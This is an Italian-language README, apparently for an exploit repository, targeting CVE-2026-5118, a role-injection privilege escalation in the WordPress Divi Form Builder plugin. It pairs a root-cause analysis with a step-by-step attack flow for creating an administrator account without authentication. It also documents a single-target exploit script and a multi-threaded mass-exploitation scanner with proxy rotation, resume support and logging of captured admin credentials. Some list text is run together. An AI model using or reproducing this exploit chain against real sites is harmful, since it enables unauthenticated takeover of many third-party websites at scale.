
Scanner automatico di exploit e scansione di massa per CVE-2026-5118, un'escalation di privilegi non autenticata in WordPress Divi Form Builder <=5.1.2, che consente la creazione di account amministratore tramite iniezione di ruoli.
Escalation di privilegi non autenticata tramite iniezione di ruolo
=== Beelze ( zeroday 1diot9 ) ===
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS Score | 9.8 (Critico) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Gestione impropria dei privilegi |
| Plugin | Divi Form Builder (by Divi Engine) |
| Affected | Tutte le versioni ≤ 5.1.2 |
| Patched | 5.1.3 (13 aprile 2026) |
| Published | 20 maggio 2026 |
| Researcher | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
Il plugin Divi Form Builder per WordPress è vulnerabile a Escalation di privilegi non autenticata in tutte le versioni fino alla 5.1.2 inclusa.
La funzione create_user() all'interno di FormSubmissionHandler.php accetta un parametro role controllato dall'utente dai dati POST durante la registrazione senza convalidarlo rispetto all'impostazione default_user_role configurata nel modulo. L'unica 'protezione' è sanitize_text_field() — che rimuove i tag HTML e la codifica, ma non fa nulla per limitare il valore a ruoli sicuri — seguita da un controllo di esistenza che verifica semplicemente se il ruolo esiste in WordPress (e administrator esiste sempre).
Questo triplo fallimento consente a un attaccante non autenticato di:
fb_nonce) dall'oggetto JavaScript de_fb_objform_type in register tramite POST — trasformando qualsiasi modulo in un endpoint di registrazionerole=administrator nella richiesta AJAXRisultato: Acquisizione completa del sito — zero autenticazione, zero interazione utente, una richiesta POST.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← SOLO rimuove tag/codifica!
: 'subscriber'; // ← 'administrator' passa PULITO
sanitize_text_field() è progettato per la sanificazione di testo libero (prevenzione XSS). NON convalida rispetto a una lista di ruoli sicuri. La stringa "administrator" non contiene tag HTML né codifica speciale — passa attraverso completamente intatta.
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← fallback SOLO se il ruolo non esiste
}
Questo controllo chiede: "Questo ruolo esiste in WordPress?" — e administrator esiste sempre. Non si pone mai la domanda giusta: "Questo ruolo è sicuro per l'auto-registrazione pubblica?" Un controllo adeguato dovrebbe convalidare rispetto a una lista di permessi come ['subscriber', 'contributor'] o imporre l'impostazione default_user_role del modulo.
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← ruolo controllato dall'attaccante applicato direttamente!
Nessun controllo current_user_can('create_users'). Nessun controllo current_user_can('promote_users'). Nessuna verifica delle capacità di alcun tipo. Il ruolo fornito dall'attaccante viene passato direttamente a set_role().
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← STESSO nonce su TUTTI i moduli, TUTTE le pagine
// ...
]);
Il fb_nonce viene creato tramite wp_create_nonce('security') — una stringa di azione generica condivisa su ogni singolo modulo DFB del sito. Qualsiasi visitatore può estrarlo dal sorgente della pagina leggendo l'oggetto JavaScript de_fb_obj.
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← attivato da sovrascrittura POST!
}
Il form_type viene letto dai dati POST, non dalla configurazione del modulo lato server. Un attaccante può inviare form_type=register a qualsiasi richiesta AJAX DFB — un modulo di contatto, una richiesta di preventivo, un'iscrizione a newsletter — e il server eseguirà il percorso di codice di registrazione. Lo scopo originale del modulo è irrilevante.
[Unauthenticated Attacker]
│
▼
GET /any-page-with-dfb-form/
← HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extract fb_nonce from de_fb_obj JavaScript object
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INJECTED │
│ form_type = register ← OVERRIDDEN │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passes
wp_roles()->roles['administrator'] exists? → YES ✓ passes
$user->set_role('administrator') ✓ no capability check
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 🔥
CVE-2026-5118.py — Exploit su singolo bersaglioCatena di exploit completa a 5 fasi con rilevamento automatico del modulo ed estrazione del nonce.
python3 CVE-2026-5118.py
Target URL: https://target.com
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [[email protected]]:
Timeout (seconds) [15]:
SOCKS5 proxy (blank = none):
Fasi dell'exploit:
Phase 1 ▶ Raggiungibilità (HTTPS + fallback HTTP)
Phase 2 ▶ Rilevamento plugin (controllo versione readme.txt)
Phase 3 ▶ Rilevamento modulo ed estrazione nonce
├── Scansione pagina API REST
├── Sondaggio percorsi comuni
├── Crawl della sitemap
└── Crawl dei link della homepage
Phase 4 ▶ Iniezione di ruolo (Escalation dei privilegi)
Phase 5 ▶ Verifica login amministratore
Output (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Scanner di massaSfruttamento di massa multi-thread con logging JSONL e supporto per la ripresa.
python3 CVE-2026-5118-mass.py
Target file (one URL per line): targets.txt
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [[email protected]]:
Threads [10]:
Timeout (seconds) [10]:
Proxy file (SOCKS5, one per line, blank = none):
Resume previous scan? (y/n) [n]:
Caratteristiche:
Output (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role del modulo, ignorando qualsiasi parametro role fornito dall'utente nei dati POSTBeelze ( zeroday 1diot9 ) — solo per scopi educativi e di ricerca sulla sicurezza autorizzata